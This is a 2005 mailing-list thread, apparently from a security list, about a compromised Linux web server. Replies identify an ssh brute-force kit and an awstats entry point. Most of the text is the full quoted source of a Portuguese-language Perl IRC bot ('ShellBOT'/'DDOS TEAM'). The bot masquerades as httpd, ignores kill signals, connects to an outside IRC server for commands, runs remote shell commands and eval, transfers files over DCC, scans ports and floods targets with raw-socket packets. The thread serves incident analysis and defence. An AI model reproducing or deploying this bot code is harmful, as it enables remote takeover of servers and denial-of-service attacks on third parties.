> $oarg = substr($case, 6);
> voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg = substr($case, 8);
> devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf = 1; $cf <= $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =~ /^eval (.*)/) {
> eval "$1";
> }
>}
>sub shell {
> return unless $secv;
> my $printl=$_[0];
> my $comando=$_[1];
> if ($comando =~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diert�rio inexistente!");
> return;
> }
> elsif ($pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=`$comando 2>&1 3>&1`;
> my $c=0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c == "$linas_max") {
> $c=0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
>}
>
>#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
>sub attacker {
> my $iaddr = inet_aton($_[0]);
> my $msg = 'B' x $_[1];
> my $ftime = $_[2];
> my $cp = 0;
> my (%pacotes);
> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp == 4;
> my $itime = time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta = 1; $porta <= 65000; $porta++) {
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc = 3; $pc <= 255;$pc++) {
> next if $pc == 6;
> $cur_time = time - $itime;
> last if $cur_time >= $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
> }
> }
> last if $cur_time >= $ftime;
> }
> return($cur_time, %pacotes);
>}
>
>
>
>#############
># ALIASES #
>#############
>
>sub action {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
>}
>
>sub ctcp {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
>}
>sub msg {
> return unless $#_ == 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
>}
>
>sub notice {
> return unless $#_ == 1;
> sendraw("NOTICE $_[0] :$_[1]");
>}
>
>sub op {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +o $_[1]");
>}
>sub deop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -o $_[1]");
>}
>sub hop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
>}
>sub dehop {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +h $_[1]");
>}
>sub voice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +v $_[1]");
>}
>sub devoice {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -v $_[1]");
>}
>sub ban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] +b $_[1]");
>}
>sub unban {
> return unless $#_ == 1;
> sendraw("MODE $_[0] -b $_[1]");
>}
>sub kick {
> return unless $#_ == 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
>}
>
>sub modo {
> return unless $#_ == 0;
> sendraw("MODE $_[0] $_[1]");
>}
>sub mode { modo(@_); }
>
>sub j { &join(@_); }
>sub join {
> return unless $#_ == 0;
> sendraw("JOIN $_[0]");
>}
>sub p { part(@_); }
>sub part {sendraw("PART $_[0]");}
>
>sub nick {
> return unless $#_ == 0;
> sendraw("NICK $_[0]");
>}
>
>sub invite {
> return unless $#_ == 1;
> sendraw("INVITE $_[1] $_[0]");
>}
>sub topico {
> return unless $#_ == 1;
> sendraw("TOPIC $_[0] $_[1]");
>}
>sub topic { topico(@_); }
>
>sub whois {
> return unless $#_ == 0;
> sendraw("WHOIS $_[0]");
>}
>sub who {
> return unless $#_ == 0;
> sendraw("WHO $_[0]");
>}
>sub names {
> return unless $#_ == 0;
> sendraw("NAMES $_[0]");
>}
>sub away {
> sendraw("AWAY $_[0]");
>}
>sub back { away(); }
>sub quit {
> sendraw("QUIT :$_[0]");
>}
>
>
>
># DCC
>package DCC;
>
>sub connections {
> my @ready = $dcc_sel->can_read(1);
># return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo = $DCC{$fh}{tipo};
> my $arquivo = $DCC{$fh}{arquivo};
> my $bytes = $DCC{$fh}{bytes};
> my $cur_byte = $DCC{$fh}{curbyte};
> my $nick = $DCC{$fh}{nick};
>
> my $msg;
> my $nread = sysread($fh, $msg, 10240);
>
> if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} = "Cancelado";
> $DCC{$fh}{ftime} = time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} += length($msg);
>
> my $cur_byte = $DCC{$fh}{curbyte};
>
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <= $bytes);
> close(FILE);
>
> my $packbyte = pack("N", $cur_byte);
> print $fh "$packbyte";
>
> if ($bytes == $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} = "Recebido";
> $DCC{$fh}{ftime} = time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send = $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} = 'sendcon';
> $DCC{$send}{itime} = time;
> $DCC{$send}{nick} = $nick;
> $DCC{$send}{bytes} = $bytes;
> $DCC{$send}{curbyte} = 0;
> $DCC{$send}{arquivo} = $arquivo;
> $DCC{$send}{ip} = $send->peerhost;
> $DCC{$send}{porta} = $send->peerport;
> $DCC{$send}{status} = "Enviando";
>
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
> open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
># delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended = unpack("N", $msg);
> $DCC{$fh}{curbyte} = $bytes_sended;
> if ($bytes_sended == $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} = "Enviado";
> $DCC{$fh}{ftime} = time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
>}
>
>
>sub SEND {
> my ($nick, $arquivo) = @_;
> unless (-r "$arquivo") {
> return(0);
> }
>
> my $dccark = $arquivo;
> $dccark =~ s/[.*\/](\S+)/$1/;
>
> my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip = unpack("N",inet_aton($meuip));
>
> my @filestat = stat($arquivo);
> my $size_total=$filestat[7];
> if ($size_total == 0) {
> return(0);
> }
>
> my ($porta, $sendsock);
> do {
> $porta = int rand(64511);
> $porta += 1024;
> $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
> } until $sendsock;
>
> $DCC{$sendsock}{tipo} = 'send';
> $DCC{$sendsock}{nick} = $nick;
> $DCC{$sendsock}{bytes} = $size_total;
> $DCC{$sendsock}{arquivo} = $arquivo;
>
>
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>
>}
>
>sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>
> my $dccip=fixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
> $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} = 'get';
> $DCC{$dccsock}{itime} = time;
> $DCC{$dccsock}{nick} = $nick;
> $DCC{$dccsock}{bytes} = $bytes;
> $DCC{$dccsock}{curbyte} = 0;
> $DCC{$dccsock}{arquivo} = $arquivo;
> $DCC{$dccsock}{ip} = $dccip;
> $DCC{$dccsock}{porta} = $dccporta;
> $DCC{$dccsock}{status} = "Recebendo";
>}
>
># po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
>sub Status {
> my $socket = shift;
> my $sock_tipo = $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick = $DCC{$socket}{nick};
> my $arquivo = $DCC{$socket}{arquivo};
> my $itime = $DCC{$socket}{itime};
> my $ftime = time;
> my $status = $DCC{$socket}{status};
> $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>
> my $d_time = $ftime-$itime;
>
> my $cur_byte = $DCC{$socket}{curbyte};
> my $bytes_total = $DCC{$socket}{bytes};
>
> my $rate = 0;
> $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen = ($cur_byte*100)/$bytes_total;
>
> my ($r_duv, $p_duv);
> if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv = $3; $r_duv++ if $4 >= 5;
> $rate = "$1\.$2"."$r_duv";
> }
> if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv = $3; $p_duv++ if $4 >= 5;
> $porcen = "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo"," $bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
> }
>
>
> return(0);
>}
>
>
>sub fixaddr {
> my ($address) = @_;
>
> chomp $address; # just in case, sigh.
> if ($address =~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
> return $address;
> } elsif ($address =~ tr/a-zA-Z//) {
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
>}
>
>
>

[Skip Carter]

--==_Exmh_-1540463259P
Content-Type: text/plain; charset=us-ascii


> My server has been seeing some usual activities today, I don't have much ti=
> me
> to get down to the bottom of things, but after I investigated briefly I have
> decided to disable PERL executable permission for www-data (Apache process's
> user), also locked /var/tmp so www-data cannot write to it.=20

> I found a bunch of processes called ./atac 20 running, and found the
> following content in /tmp/atac:

Running 'strings' on atac reveals that it does an ssh brute force login
attack on remote systems. Interesting enough, our security logs last
night showed such an attempt against some of our clients systems, with
EXACTLY the same sequence of trial user names! So you have a copy of
the tool that was being used against them.




Skip



--
Dr. Everett (Skip) Carter Phone: 831-641-0645 FAX: 831-641-0647
Taygeta Network Security Services email: skip@taygeta.net
1340 Munras Ave., Suite 314 WWW: http://www.taygeta.net/
Monterey, CA. 93940












--==_Exmh_-1540463259P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8
Comment: Exmh version 2.6.3 04/04/2003

iQEVAwUBQnLEXQ55mXCLeJ33AQH5lggAwndPUxNY/9itjQln82baQD4mdwXC7Rgy
1xnLttikN24SrOIvPJKkSAGd3hHH/NRRK8bCwkEwN/GwO6ho17ajBcq5ACXodgh/
Hs3W8jv/nb8NTJmT5r/m/3Kq0SC0p8enHm5hMIbhV/jsvo+1wXhPSzCoHwzusED0
5B/biCQZjKSkVkhl4Ea3t3bMaspXFW4GdD7AIlyMLht2JZ/vwk7oYR1k897Lt01H
ShlOWuamhe2b7kJsM/pc9CseivoNgxvxGyi4tOIBUC1vlG2evAYPGZIdgd4AM9XS
+WUFzC1yJvLS2jiHrJZ7J9OBSlH6dFNmE4R/OYMhQQdSQhb7u4jsJQ==
=A7te
-----END PGP SIGNATURE-----

--==_Exmh_-1540463259P--

[Robert Zilbauer]

At first glance I'd say your atac.tbz contains a vulnerability scanner (ps)=
, a=20
backdoored version of sshd (atac), a list of targets for the scanner=20
(uniq.txt), and a scan log (log.bigsshf).

The perl script also looks like a newer version of a script I pulled from a=
=20
compromised linux box a little while ago. The script you found claims to be=
=20
version 1.0 ($VERSAO =3D '1.0') while the one I recovered was version 0.2. =
I=20
believe it's designed to connect to an IRC server and offer services from=20
your machine to people in a certain IRC channel (shell access, DOS attack,=
=20
other stuff?).=20

If it helps, the header of the script I found contained this:=20

#!/usr/bin/perl
#
# ShellBOT - FBI TEAM Corporation
#
# 0ldW0lf - effbeeye81@aol.com
# - www.security.cnc.net
# =20
#
#
################ CONFIGURACAO ###################################
my $processo =3D '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo q=
ue=20
vai aparece no ps =20
#----------------################################################
my $linas_max=3D'8'; # Evita o flood depois de X linhas=20
#----------------################################################
=2E..

In the FWIW file, this compromised linux box had been running a vulnerable=
=20
version of the awstats CGI which is how this script (among other things) go=
t=20
in.



On Friday 29 April 2005 12:03 pm, Andrew Y Ng wrote:
> My server has been seeing some usual activities today, I don't have much
> time to get down to the bottom of things, but after I investigated briefly
> I have decided to disable PERL executable permission for www-data (Apache
> process's user), also locked /var/tmp so www-data cannot write to it.
>
> Looks like it ignores all the `kill` signals, not sure how I can actually
> kill it...
>
>
> I found the included script in /var/tmp called d0s.txt.
>
> I found a bunch of processes called ./atac 20 running, and found the
> following content in /tmp/atac:
>
> http://andrewng.com/tmp/atac.tbz
>
> here's d0s.txt:
>
> #!/usr/bin/perl
> ################ CONFIGURACAO
> ################################################## ############### my
> $processo =3D '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que
> vai aparece no ps #
> #----------------------------------------------##########################=
##
>#################### my $MODOME=3D'+pi'; # =
Modo
> Do Bot #
> #----------------------------------------------##########################=
##
>#################### my $linas_max=3D'10'; # Ev=
ita
> o flood depois de X linhas #
> #----------------------------------------------##########################=
##
>#################### my $sleep=3D'3'; # ele
> dorme X segundos # ##################### IRC
> ################################################## ################### my
> @adms=3D("DDOS"); # Nick do administrador =
=20
> #
> #----------------------------------------------##########################=
##
>#################### my @canais=3D("#bots ddos");# Canais =
=20
> #
> #----------------------------------------------##########################=
##
>#################### my $nick=3D'b0t'; # Nick do
> bot. Caso esteja em uso vai aparecer # # =
=20
> # aparecer com numero radonamico no final #
> #----------------------------------------------##########################=
##
>#################### my $ircname =3D 'b0t'; # User ID=
=20
> #
> #----------------------------------------------##########################=
##
>#################### my $realname =3D '=02=034A=02dmin=0314: =034=02=1F#=
=02=1FD=02D=02OS=0F=0F'; =20
> #
> #----------------------------------------------##########################=
##
>#################### $servidor=3D'irc.gigachat.net' unless $servidor; #
> Servidor de irc que vai ser usado # # =
=20
> # caso n=E3o seja especificado no argumento #
> #----------------------------------------------##########################=
##
>#################### my $porta=3D'6667'; # Porta do
> servidor de irc # ################ ACESSO A SHELL
> ################################################## ############# my $secv =
=3D
> 1; # 1/0 pra habilita/desabilita acesso a
> shell #
> ################################################## #######################=
##
>####################
>
> my $VERSAO =3D '1.0';
>
> $SIG{'INT'} =3D 'IGNORE';
> $SIG{'HUP'} =3D 'IGNORE';
> $SIG{'TERM'} =3D 'IGNORE';
> $SIG{'CHLD'} =3D 'IGNORE';
> $SIG{'PS'} =3D 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor=3D"$ARGV[0]" if $ARGV[0];
> $0=3D"$processo"."\0"x16;;
> my $pid=3Dfork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> our %irc_servers;
> our %DCC;
> my $dcc_sel =3D new IO::Select->new();
>
>
> $sel_cliente =3D IO::Select->new();
> sub sendraw {
> if ($#_ =3D=3D '1') {
> my $socket =3D $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick =3D $_[0];
> my $servidor_con =3D $_[1];
> my $porta_con =3D $_[2];
>
> my $IRC_socket =3D IO::Socket::INET->new(Proto=3D>"tcp",
> PeerAddr=3D>"$servidor_con", PeerPort=3D>$porta_con) or return(1); if
> (defined($IRC_socket)) {
> $IRC_cur_socket =3D $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} =3D "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} =3D "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} =3D $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
> :$realname"); sleep 1;
> }
>
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor",
> "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready =3D $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket =3D $fh;
> $meunick =3D $irc_servers{$IRC_cur_socket}{'nick'};
> $nread =3D sysread($fh, $msg, 4096);
> if ($nread =3D=3D 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines =3D split (/\n/, $msg);
>
> for(my $c=3D0; $c<=3D $#lines; $c++) {
> $line =3D $lines[$c];
> $line=3D$line_temp.$line if ($line_temp);
> $line_temp=3D'';
> $line =3D~ s/\r$//;
> unless ($c =3D=3D $#lines) {
> parse("$line");
> } else {
> if ($#lines =3D=3D 0) {
> parse("$line");
> } elsif ($lines[$c] =3D~ /\r$/) {
> parse("$line");
> } elsif ($line =3D~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp =3D $line;
> }
> }
> }
> }
> }
>
>
>
> sub parse {
> my $servarg =3D shift;
> if ($servarg =3D~ /^PING \.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
> my $pn=3D$1; my $onde =3D $4; my $args =3D $5;
> if ($args =3D~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS TEAM\001");
> }
> if (grep {$_ =3D~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =3D~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
> my $natrix =3D $1;
> my $arg =3D $2;
> if ($arg =3D~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $a=
rg
> =3D~ /^\!nick/); } elsif ($arg =3D~ /^\@(.*)/) {
> $ondep =3D $onde;
> $ondep =3D $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =3D~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=3D$4;
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> }
> } elsif ($servarg =3D~ m/^\.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =3D~ m/^\.+?)\s+001\s+(\S+)\s/i) {
> $meunick =3D $2;
> $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} =3D "$1";
> foreach my $canal (@canais) {
> print "$0 Executado \n";
> sendraw("JOIN $canal");
> sendraw("MODE $meunick $MODOME");
> sendraw("PRIVMSG $canal :Modo Alterado Para=034 $MODOME");
> }
> }
> }
>
> sub bfunc {
> my $printl =3D $_[0];
> my $funcarg =3D $_[1];
> if (my $pid =3D fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =3D~ /^portscan (.*)/) {
> my $hostip=3D"$1";
> my @portas=3D("21","22","23","25","53","80","110","14 3");
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock =3D IO::Socket::INET->new(PeerAddr =3D> $hos=
tip,
> PeerPort =3D> $porta, Proto =3D> 'tcp', Timeout =3D> 4); if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl ortas abertas:
> @aberta"); } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta
> aberta foi encontrada"); }
> }
> if ($funcarg =3D~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) =3D attacker("$1", "$2", "$3");
> $dtime =3D 1 if $dtime =3D=3D 0;
> my %bytes;
> $bytes{igmp} =3D $2 * $pacotes{igmp};
> $bytes{icmp} =3D $2 * $pacotes{icmp};
> $bytes{o} =3D $2 * $pacotes{o};
> $bytes{udp} =3D $2 * $pacotes{udp};
> $bytes{tcp} =3D $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002:
> $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M=E9dia de
> envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} +
> $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
> }
>
> sub ircase {
> my ($kem, $printl, $case) =3D @_;
>
> if ($case =3D~ /^join (.*)/) {
> j("$1");
> }
> if ($case =3D~ /^part (.*)/) {
> p("$1");
> }
> if ($case =3D~ /^rejoin\s+(.*)/) {
> my $chan =3D $1;
> if ($chan =3D~ /^(\d+) (.*)/) {
> for (my $ca =3D 1; $ca <=3D $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =3D~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg =3D substr($case, 3);
> op("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg =3D substr($case, 5);
> deop("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg =3D substr($case, 6);
> voice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg =3D substr($case, 8);
> devoice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =3D~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf =3D 1; $cf <=3D $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =3D~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =3D~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf =3D 1; $cf <=3D $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =3D~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =3D~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =3D~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =3D~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =3D~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =3D~ /^eval (.*)/) {
> eval "$1";
> }
> }
> sub shell {
> return unless $secv;
> my $printl=3D$_[0];
> my $comando=3D$_[1];
> if ($comando =3D~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diert=F3rio inexistente!");
> return;
> }
> elsif ($pid =3D fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=3D`$comando 2>&1 3>&1`;
> my $c=3D0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c =3D=3D "$linas_max") {
> $c=3D0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
> my $iaddr =3D inet_aton($_[0]);
> my $msg =3D 'B' x $_[1];
> my $ftime =3D $_[2];
> my $cp =3D 0;
> my (%pacotes);
> $pacotes{icmp} =3D $pacotes{igmp} =3D $pacotes{udp} =3D $pacotes{o} =3D
> $pacotes{tcp} =3D 0;
>
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp =3D=3D 4;
> my $itime =3D time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta =3D 1; $porta <=3D 65000; $porta++) {
> $cur_time =3D time - $itime;
> last if $cur_time >=3D $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{tcp}++;
>
> # DoS ?? :P
> for (my $pc =3D 3; $pc <=3D 255;$pc++) {
> next if $pc =3D=3D 6;
> $cur_time =3D time - $itime;
> last if $cur_time >=3D $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and
> $pacotes{o}++;; }
> }
> last if $cur_time >=3D $ftime;
> }
> return($cur_time, %pacotes);
> }
>
>
>
> #############
> # ALIASES #
> #############
>
> sub action {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>
> sub ctcp {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
>
> sub notice {
> return unless $#_ =3D=3D 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
>
> sub op {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
> return unless $#_ =3D=3D 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>
> sub modo {
> return unless $#_ =3D=3D 0;
> sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(@_); }
>
> sub j { &join(@_); }
> sub join {
> return unless $#_ =3D=3D 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {sendraw("PART $_[0]");}
>
> sub nick {
> return unless $#_ =3D=3D 0;
> sendraw("NICK $_[0]");
> }
>
> sub invite {
> return unless $#_ =3D=3D 1;
> sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
> return unless $#_ =3D=3D 1;
> sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(@_); }
>
> sub whois {
> return unless $#_ =3D=3D 0;
> sendraw("WHOIS $_[0]");
> }
